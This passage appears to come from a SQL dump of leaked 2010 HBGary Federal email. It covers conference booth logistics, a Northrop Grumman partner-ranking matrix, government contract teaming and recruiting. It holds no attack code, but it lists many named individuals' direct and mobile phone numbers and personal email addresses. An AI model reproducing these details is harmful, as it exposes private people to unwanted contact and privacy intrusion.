<aaron@hbgary.com>','/aaron@hbgary.com/new/1297003158.M499063P3547Q4933.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Message to all Palantir Conference Partners - CORRECTION','ok conference starts at 10am at the Tysons Corner Ritz Carlton, so I guess we should start at 8am?Does the booth come with marketing material or does that need to be printed out? &nbsp;I think we should have some copies of the Aurora report printed out and available.Anything else? &nbsp;I need to go pick up a 30\'\' monitor because I understand the one in the booth is broken.AaronOn Apr 5, 2010, at 11:26 AM, Bob Slapnik wrote:Aaron,&nbsp;The booth takes 2 hours to setup.&nbsp; I will help you with that.&nbsp; Tell me when and where.&nbsp;As for tech guy at the booth, Rich is your only option.&nbsp; His schedule shows he is free.&nbsp; I left him a message asking if he will do it.&nbsp; FYI, having a tech guy at the booth is definitely useful but you can still have a good showing without.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 10:07 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Message to all Palantir Conference Partners - CORRECTION&nbsp;Someone else would be helpful seeing that I have never worked the HBGary booth before. &nbsp;There are going to be lots of folks from the Intel community there and I don\'t want to have a bad showing. &nbsp;I was not going to have a booth but Penny thought it was a good idea, so I signed up. &nbsp;I would hope HBGary could support (some technical I think would help). &nbsp;The conference is from 10-5pm (setup in the morning or evening the day before). &nbsp;Again, none of this I have done for HBGary so some help would be very much appreciated. &nbsp;I am sure I don\'t need someone all day, but I would like some help to set up (make sure things go in the right places and to watch the rhythm for a bit. &nbsp;I know some guys that want to give us some work are going to be there.&nbsp;Aaron&nbsp;On Apr 5, 2010, at 9:59 AM, Bob Slapnik wrote:Aaron,&nbsp;Phil will be out of town.&nbsp; I don’t know about Rich. I can attend if you need me to.&nbsp; What are the times and location?&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:56 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Message to all Palantir Conference Partners - CORRECTION&nbsp;bob,&nbsp;Do we have any confirmed support from Rich. &nbsp;I haven\'t heard from him. &nbsp;Are you going to be there?Aaron&nbsp;On Apr 2, 2010, at 9:47 AM, Bob Slapnik wrote:Rich and Phil,&nbsp;The date is April 7 (not the 6th).&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 02, 2010 9:44 AMTo:&nbsp;\'Aaron Barr\'; \'Phil Wallisch\'; \'Rich Cummings\'Subject:&nbsp;RE: Message to all Palantir Conference Partners&nbsp;Phil and Rich,&nbsp;Aaron has a booth on April 6 at a conference help by Palantir in Tysons.&nbsp; He requests that one of you help by manning the booth.&nbsp; Maybe we can “tag team”.&nbsp; Phil and I have a demo via webex at 2pm that day.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 01, 2010 10:30 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;Fwd: Message to all Palantir Conference Partners&nbsp;&nbsp;&nbsp;Begin forwarded message:&nbsp;From:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;Date:&nbsp;April 1, 2010 4:32:31 PM EDTTo:&nbsp;Undisclosed recipients:;Subject: Message to all Palantir Conference Partners&nbsp;Please make sure that your staff who will be attending the conference next week on 7 April have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/&nbsp;Everyone should have received a Partner Booth Guide with setup details several weeks ago, but I have attached it again for reference.&nbsp; Please take the time to read through this as there are highly important details included.&nbsp;I have also attached the conference agenda for your reference.&nbsp;Don’t hesitate to contact me with any questions.&nbsp; Looking forward to your participation in the conference next week.&nbsp;Best,Tim&nbsp;_________________________________________________________Tim RonanPalantir Technologies | Forward Deployed Engineertronan@palantirtech.com&nbsp;| 571.225.6179_________________________________________________________&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10 02:35:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10 02:32:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10 02:32:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3529,'aaron_hbgary_com/3529.html'),(4933,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003158.M86399P3547Q4931.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Security Alliance Matrix','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Shows, Bob (IS)\" \r\n> Date: March 26, 2010 12:46:13 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Subject: FW: Cyber Security Alliance Matrix\r\n> \r\n> Aaron,\r\n>  \r\n> I had not seen this while we were talking a few minutes ago.  I see Palantir on the list.  Please take a look at this and let me know if HB Gary and others on your ‘Team of 5’ would be candidates for such an Alliance. \r\n>  \r\n> In my response to Ron, I will address our San Antonio approach, so a reminder on who is doing what in your Team of 5 in that thrust would be most appreciated.\r\n>  \r\n> Cheers,\r\n>  \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549\r\n> From: Foudray, Ron (IS) \r\n> Sent: Friday, March 26, 2010 11:08 AM\r\n> To: Godwin, Gib (IS); Chiaravalle, Susan (IS); Lefebvre, Michael (IS); Slaight, Matt (IS); Jackson, Sheila A (IS); Burns, Destiny R (IS); Strei, Thomas J (IS); Iyer, Srini (IS); Richardson, Harry F (IS); Johnson, Chris (IS); Northrup, Jim (IS); Shows, Bob (IS); Holderness, Chuck (IS)\r\n> Cc: DeAngelis, Dario (IS); Hobart, Bob (IS); Mullen, Sean\r\n> Subject: Fw: Cyber Security Alliance Matrix\r\n>  \r\n> Team:\r\n> \r\n> Thoughts appreciated.\r\n> \r\n> Thanks,\r\n> Ron\r\n>  \r\n> From: Lee, James (IS) \r\n> To: Foudray, Ron (IS); Yu, Jeffrey C (IS); Greene, Brent (IS) \r\n> Cc: Draffin, Cyril W (IS); Miller, Diane (CSL); Korin, Jon (IS); Starkey, Billy (IS); Graham, Christine T (IS); Jost, Lisa S (IS); Godwin, Gib (IS); Cooperman, Steven E (IS); Long, John F (CSLS); Strang, Larry (IS) \r\n> Sent: Fri Mar 26 10:42:41 2010\r\n> Subject: Cyber Security Alliance Matrix\r\n> \r\n> As a follow-on to our 3/8 Cyber Alliances meeting,  attached please find a cyber security “priority ranking matrix”.  \r\n>  \r\n> Ron/Jeff/Brent:  For your respective division (one column for each division), please choose “high, med, or low” as a cyber security priority for each company listed.   If priority is “high” please also describe the division capability or offering area to which the company is aligned in the adjacent column.  Please also ADD organizations to the list if you believe they are high priority to your business but for some reason (quite possible) are not included here.\r\n>  \r\n> To assist, we’ve included summary information for each company as to 1.) IRAD Investments, 2.) Joint Pursuits and 3.) Identified Gaps as well as the websites and other ancillary info for each organization.   The second tab shows all organizations which have briefed or are scheduled to brief at the security brown bag sessions.  \r\n>  \r\n> The objective is to arrive at a “short list” of companies, common across the three divisions,  which can enable and bring differentiation to our cyber capabilities.   We will then meet to discuss the list and begin establishing sector relationships and strategies with these organizations. \r\n>  \r\n> Please take an initial cut at this try to return NLT COB 4/8 so we can keep the process moving forward and insure each division’s interests are represented.\r\n>  \r\n> -Jim\r\n>  \r\n>  \r\n>  \r\n>  \r\n>  \r\n> Jim Lee\r\n> Director, Portfolio & Partnerships\r\n> Northrop Grumman Information Systems\r\n> 7575 Colshire Drive\r\n> McLean, VA 22102\r\n> O: (703)556-1307\r\n> C: (703)635-0394\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3862,'aaron_hbgary_com/3862.html'),(4934,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003163.M269541P3547Q4934.eml','\"James M Racz\" <james.m.racz@lmco.com>','Pre-release Final REcon paper','Whitepaper attached on Software Exploitation using HBGary\'s REcon technology.\r\n\r\nI still would like to set up a capabilities brief, we can do this at the classified level now as my clearances have been re-instated.  The overall capabilities have changed slightly since adding HBGary Federal to the companies offerings.\r\n\r\n',13594,'aaron_hbgary_com/13594.html'),(4935,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003165.M866467P3547Q4935.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Final REcon paper','Hey Brian,\r\n\r\nThe PEIM has been fully executed now, its been a while so lets talk about next steps.\r\n\r\nAlso attached is our pre-release FINAL REcon for software exploitation paper.\r\n\r\n',7770,'aaron_hbgary_com/7770.html'),(4936,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003169.M104882P3547Q4936.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Get together','Hey guys,\r\n\r\nLet me know when some good times are for you to get together and discuss things outside of DARPA.\r\n\r\nThis week is pretty much shot for me except for Friday, next week right now is pretty open.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6238,'aaron_hbgary_com/6238.html'),(4937,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003169.M291078P3547Q4937.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Get together','Hey Chris,\r\n\r\nI hope you got to enjoy some time off or at least a nice Easter weekend.  Lets work out a time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12748,'aaron_hbgary_com/12748.html'),(4938,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003169.M486429P3547Q4938.eml','\"Spiller, John F.\" <John.Spiller@gd-ais.com>','Re: New proposal','Hi John,Just checking in on the status of this potential effort.AaronOn Mar 26, 2010, at 12:42 PM, Spiller, John F. wrote:\r\n\r\nAaron,We have a new restricted effort that we are thing of going after and would like to include you and Ted in this effort. Rich Moore will be contacting you to complete paper work for access. It would require work to be performed in our SCIF, I think Bill has given you or Ted a heads up and the proposal would be due 11 May. Let us know if you want to take the plunge.aaron@hbgary.comted@hbgary.comAaron’ contact data:301 652 8885 x117 ph719 510 8478 mobileJohn Spiller PMP\r\nSr. Program Manager\r\nGENERAL DYNAMICS\r\nAdvanced Information Systems\r\n\': 650 966 2800 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9398,'aaron_hbgary_com/9398.html'),(4939,'2010-04-05','\"Spiller, John F.\" <John.Spiller@gd-ais.com>','/aaron@hbgary.com/new/1297003169.M747922P3547Q4939.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: New proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nWe are still in the process of submitting names to get folks\r\nbriefed on the effort and to date we have not seen the final RFP package from\r\nthe customer, although it is expected any day now.&nbsp; (Typical hurry up and\r\nwait).\r\n\r\n--John\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 11:12 AM\r\nTo: Spiller, John F.\r\nSubject: Re: New proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi John,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust checking in on the status of this potential effort.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 12:42 PM, Spiller, John F. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWe have a new restricted\r\neffort that we are thing of going after and would like to include you and Ted in this effort. Rich Moore will be\r\ncontacting you to complete paper work for access. It would require work to be\r\nperformed in our SCIF, I think\r\nBill has given you or Ted a heads up and the proposal would be due 11 May. Let\r\nus know if you want to\r\ntake the plunge.\r\n\r\naaron@hbgary.com\r\n\r\nted@hbgary.com\r\n\r\nAaron&#8217; contact data:\r\n\r\n301 652 8885 x117 ph\r\n\r\n719 510 8478 mobile\r\n\r\nJohn Spiller PMP\r\nSr. Program\r\nManager\r\nGENERAL DYNAMICS\r\nAdvanced Information Systems\r\n\':\r\n650 966 2800 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5586,'aaron_hbgary_com/5586.html'),(4940,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003169.M933840P3547Q4940.eml','\"Tillman, Michael K (IS)\" <michael.tillman@ngc.com>','Re: Long Time','Thanks Mike.I am waiting to hear word on some of the opportunities we were going after.I will be back up your way on the 19th to talk with Jerry Bodman and Robert Nissen (I am not sure what office they are in yet). &nbsp;I\'ll give you a shout if your around that day.AaronOn Mar 25, 2010, at 12:18 PM, Tillman, Michael K (IS) wrote:\r\n\r\nAaron - Here\'s the resume for a guy that I know may be loosing coverage here soon and has all his tickets for the BLDG.\r\n\r\nSemper Fidelis,\r\n\r\n\r\nMichael K. Tillman\r\nManager, JTF-GNO J34 Assignees Section\r\nNorthrop Grumman Information Systems\r\n2710 Technology Drive Annapolis Junction, MD\r\nComm: 443-654-0689\r\nCell: 443-280-0040\r\nE-mail: michael.tillman@ngc.com\r\nAlt E-mail: badgemini77@yahoo.com\r\nBlackberry: Mrtill1@tmo.blackberry.net\r\n\r\n\"Talent is God-given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful.\" -John Wooden\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tue 3/16/2010 7:27 AM\r\nTo: Tillman, Michael K (IS)\r\nSubject: Re: Long Time\r\n\r\nHi Mike,\r\n\r\nSorry I didn\'t make it over to say hello.&nbsp; Our meeting with Dave and&nbsp;\r\nhis team seemed to have gone really well and really long.\r\n\r\nLet me give you a little background so you can better inform or direct&nbsp;\r\nany folks that might be interested in our company.\r\n\r\nHBGary is a product company that builds malware detection, analysis,&nbsp;\r\nincident response, and threat intelligence products.&nbsp; HBGary Federal&nbsp;\r\n(my company) is a sister company that delivers high end services in&nbsp;\r\nthose areas to government and industry.&nbsp; I don\'t want to staff a watch&nbsp;\r\ncenter, I want to put one or a few specialized people into watch&nbsp;\r\ncenters that can help the organization make better use out of the&nbsp;\r\nresources they have.&nbsp; To start by being fully trained on some of the&nbsp;\r\nbest tools out there today for malware analysis, incident response,&nbsp;\r\nand threat intelligence.\r\n\r\nI have built a consortium of small companies that are \"best of breed\"&nbsp;\r\nin a particular parallel in cyber (software, host, network, external,&nbsp;\r\nsocial) and putting together an end to end threat intelligence&nbsp;\r\ncapability.&nbsp; The data from these parallel sources is brought into&nbsp;\r\nPalantir to develop and mature cyber operations scenarios.&nbsp; Once&nbsp;\r\ndeveloped and matured as new operations happen we can more rapidly&nbsp;\r\ncorrelate information and I believe do attribution as well.&nbsp; The&nbsp;\r\nstored scenarios are also a great resource for the rest of the&nbsp;\r\norganization to understand cyber operations.&nbsp; Every organization&nbsp;\r\ntypically has 1 or 2 really good analysts, the rest are \"in-\r\ntraining\".&nbsp; This solves the knowledge management problem.\r\n\r\nA few key contracts I am focused on right now at NSA and talking with&nbsp;\r\ncompanies on teaming.\r\n\r\nNANA - potential awardees have asked for staffing support.\r\nANO - I think we will end up having a 1 or 2 people here to start.\r\nNTOC - looking at teaming now for that re-compete.\r\nRelationship positions.&nbsp; I know a few folks that have told me if I&nbsp;\r\nfind qualified candidates in the areas I mentioned above they will&nbsp;\r\nhave a spot for them.\r\n\r\nThanks Mike.&nbsp; Look forward to catching up sometime.\r\n\r\nAaron\r\n\r\nOn Mar 13, 2010, at 1:34 AM, Tillman, Michael K (IS) wrote:\r\n\r\n&gt; Aaron - I actually know a few guys with the tickets you seek that&nbsp;\r\n&gt; are looking or will be looking for work here in the near future.\r\n&gt;\r\n&gt; I attend a daily 0830 mtg that Dave chairs so please stop by if&nbsp;\r\n&gt; you\'ve got time.\r\n&gt;\r\n&gt; Semper Fidelis,\r\n&gt;\r\n&gt;\r\n&gt; Michael K. Tillman\r\n&gt; Manager, JTF-GNO J34 Assignees Section\r\n&gt; Northrop Grumman Information Systems\r\n&gt; 2710 Technology Drive Annapolis Junction, MD\r\n&gt; Comm: 443-654-0689\r\n&gt; Cell: 443-280-0040\r\n&gt; E-mail: michael.tillman@ngc.com\r\n&gt; Alt E-mail: badgemini77@yahoo.com\r\n&gt; Blackberry: Mrtill1@tmo.blackberry.net\r\n&gt;\r\n&gt; \"Talent is God-given. Be humble. Fame is man-given. Be grateful.&nbsp;\r\n&gt; Conceit is self-given. Be careful.\" -John Wooden\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Fri 3/12/2010 5:15 PM\r\n&gt; To: Smith, Dwayne R (IS); Tillman, Michael K (IS)\r\n&gt; Subject: Long Time\r\n&gt;\r\n&gt; Hi Guys,\r\n&gt;\r\n&gt; Hope things are slowing down for you a bit.&nbsp; You might have heard&nbsp;\r\n&gt; that I am not with Northrop any longer, now running a small sister&nbsp;\r\n&gt; company to HBGary, Inc.&nbsp; focused on cyber intelligence and malware&nbsp;\r\n&gt; analysis/incident response.&nbsp; I know how well connected you are up&nbsp;\r\n&gt; there, if you run across any folks that are in that space with&nbsp;\r\n&gt; tickets that are looking could you pass them my way?&nbsp; Its usually a&nbsp;\r\n&gt; fist fight for qualified folks and I have a few opportunities coming&nbsp;\r\n&gt; up to fill spots so starting to look.\r\n&gt;\r\n&gt; BTW, I am going to be up there on Monday around 1pm to talk with&nbsp;\r\n&gt; Dave Luber from the ANO, I would like to say hi.\r\n&gt;\r\n&gt; Have a good weekend.\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Christopher Walker.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5994,'aaron_hbgary_com/5994.html'),(4941,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003170.M121377P3547Q4941.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Hey Mike,Any word?AaronOn Mar 16, 2010, at 9:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Announcement slipped til March 31&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 4:52 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Just checking in. &nbsp;Last time we talked we didn\'t talk about NANA. &nbsp;If you win are you guys going to need any staffing help?&nbsp;Have a good weekend.&nbsp;Aaron&nbsp;On Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10168,'aaron_hbgary_com/10168.html'),(4942,'2010-04-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003170.M313487P3547Q4942.eml','\"Aaron Barr\" <aaron@hbgary.com>,maria@hbgary.com','RE: Message to all Palantir Conference Partners - CORRECTION','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria &#8211; Aaron is using the booth this week. Is there sales\r\nliterature in the box?\r\n\r\n&nbsp;\r\n\r\nAaron &#8211; 8am setup for a 10am show is cutting it too close.&nbsp; Do\r\nit the night before to account for things that can go wrong.&nbsp; For such a show\r\nyou will be fine using just the two pop ups.&nbsp; They are 6 ft tall and look\r\npretty good.&nbsp; 15 minutes to set up &#8211; way less hassle and still looks good.\r\n\r\n&nbsp;\r\n\r\nMaria &#8211; are the 2 popup stands included in the booth boxes?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 1:58 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Message to all Palantir Conference Partners - CORRECTION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok conference starts at 10am at the Tysons Corner Ritz\r\nCarlton, so I guess we should start at 8am?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDoes the booth come with marketing material or does that\r\nneed to be printed out? &nbsp;I think we should have some copies of the Aurora\r\nreport printed out and available.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnything else? &nbsp;I need to go pick up a 30\'\' monitor\r\nbecause I understand the one in the booth is broken.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 11:26 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe booth takes 2 hours to setup.&nbsp; I will help you with\r\nthat.&nbsp; Tell me when and where.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs for tech guy at the booth, Rich is your only option.&nbsp;\r\nHis schedule shows he is free.&nbsp; I left him a message asking if he will do\r\nit.&nbsp; FYI, having a tech guy at the booth is definitely useful but you can\r\nstill have a good showing without.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 10:07 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: Message to\r\nall Palantir Conference Partners - CORRECTION\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSomeone else would be helpful seeing that I have never\r\nworked the HBGary booth before. &nbsp;There are going to be lots of folks from\r\nthe Intel community there and I don\'t want to have a bad showing. &nbsp;I was\r\nnot going to have a booth but Penny thought it was a good idea, so I signed up.\r\n&nbsp;I would hope HBGary could support (some technical I think would help).\r\n&nbsp;The conference is from 10-5pm (setup in the morning or evening the day\r\nbefore). &nbsp;Again, none of this I have done for HBGary so some help would be\r\nvery much appreciated. &nbsp;I am sure I don\'t need someone all day, but I\r\nwould like some help to set up (make sure things go in the right places and to\r\nwatch the rhythm for a bit. &nbsp;I know some guys that want to give us some\r\nwork are going to be there.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 9:59 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil will be out of town.&nbsp; I don&#8217;t know about Rich. I can\r\nattend if you need me to.&nbsp; What are the times and location?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 9:56 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: Message to\r\nall Palantir Conference Partners - CORRECTION\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nbob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we have any confirmed support from Rich. &nbsp;I haven\'t\r\nheard from him. &nbsp;Are you going to be there?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 2, 2010, at 9:47 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich and 